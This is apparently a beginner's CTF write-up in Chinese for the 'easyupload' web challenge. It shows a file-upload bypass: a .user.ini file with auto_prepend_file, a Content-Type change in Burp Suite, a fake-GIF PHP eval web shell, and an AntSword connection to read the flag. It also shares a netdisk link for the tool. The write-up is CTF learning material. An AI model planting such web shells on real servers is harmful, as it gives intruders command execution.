CTF攻防世界小白刷题自学笔记12
1.easyupload,难度:1,方向:Web,
题目来源:CTF
题目描述:一名合格的黑客眼中,所有的上传点都是开发者留下的后门
给一下题目链接:攻防世界Web方向新手模式第15题。
打开一看果然可以上传图片文件,上传成功有文字提示,上传其他文件也会有错误提示。
说实话,一看到url里面的index.php我就觉得熟悉,CTF攻防世界小白刷题自学笔记10-CSDN博客,我一开始当成了检测上传文件后的response(响应),然后找到flag的老套路,结果根本不靠谱,虽然失败了,但也是复习之前方法的好机会,现在也渐渐有能力尝试解决问题了,不像一开始直接看大佬的writeup(答案),而是挣扎后再看了。我反复在新文章中提到旧文章的题目,也是一种温故而知新了,其实这挺痛苦的(因为我也不记得之前在哪篇文章中有类似题目,所以往往要把所有文章都打开一遍才能找到,有次一次性打开7、8个新页面让我头晕目眩了)
摆烂了,看大佬writeup(答案)了,官方的答案比较抽象,我只保留跟解题相关的(别的我也看不懂,等我遇到相关的题目再说吧)
本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的
本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
我看了好久writeup(答案),终于总结出萌新解题法,这道题很奇怪(writeup的数量很少,且只有2个详细的,准确只有1个可以详细参考的,而且他们都看的同一篇github上的文章,而且这篇文章已经不见了┭┮﹏┭┮),事已至此,先看理论知识,再下载新的工具,文章都给出来了,我是真的累了(中途去找我之前文章-笔记2里的工具分享文章链接,结果发现文章不见了,本着对文章负责的原则,我自己又把工具上传了,附上了自己的链接)。
.user.ini文件构成的PHP后门-CSDN博客
蚁剑的下载安装及使用_蚁剑安装教程-CSDN博客
先下载蚁剑吧,直接进入github会连接不上,借助CSDN与github的合作连接点击发现新项目就可以进入github了,搜索蚁剑,直接点击第一个然后下载zip就可以了。
醉了,还暗藏玄机,下载好后压缩包里原来是一个百度网盘链接,算了懒得找了,我直接自己整个链接,干脆以后软件工具我自己整理一份得了。
通过网盘分享的文件:antSword
链接: https://pan.baidu.com/s/1D5TobXSOf3lFvT5ZuPZBcw 提取码: 6666
下面开整,
首先是大佬原话,可以通过上传.user.ini以及正常jpg文件来进行getshell,在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。(简称:网页对.user.ini文件不设防,直接走后门)
1.新建.user.ini文件,内容如下
GIF89a
auto_prepend_file=a.jpg
2.上传该文件,并用burp抓包,burpsuite抓包详细操作在笔记8CTF攻防世界小白刷题自学笔记8-CSDN博客,安装详细操作在笔记5CTF攻防世界小白刷题自学笔记5-CSDN博客
将Content-Type: application/octet-stream修改为
Content-Type: image/jpg PS:直接打开burpsuite的抓包浏览器操作,注意一旦页面没有变化或者抓包信息不变就点击Forward(放行),上传好.user.ini文件后就可以回到原来浏览器上传a.jpg文件了,因为在抓包浏览器上传也无法显示成功。
3.放包,结果如下
4. 新建a.txt文件,内容为
GIF89a
<?=eval($_REQUEST['cmd']);?>
保存后将文件后缀修改为.jpg
5.直接上传该文件即可成功上传,可以停止监听直接在抓包浏览器上传。注意打开开发者工具(按F12),观察上传文件路径。
最后就是借助蚁剑工具查看flag了,注意输入上传文件地址和连接密码,点击测试连接,连接成功后点击添加。
获得网站详细数据,在网站根目录下找到了flag,结束。
总结:忙着学HCIP,鸽了太久了,又下载了一个新工具,又闹了新笑话,一直点击测试连接还奇怪为什么没有反应,最后才意识到要点添加,为此还重做了一遍,┻┳|・ω・)。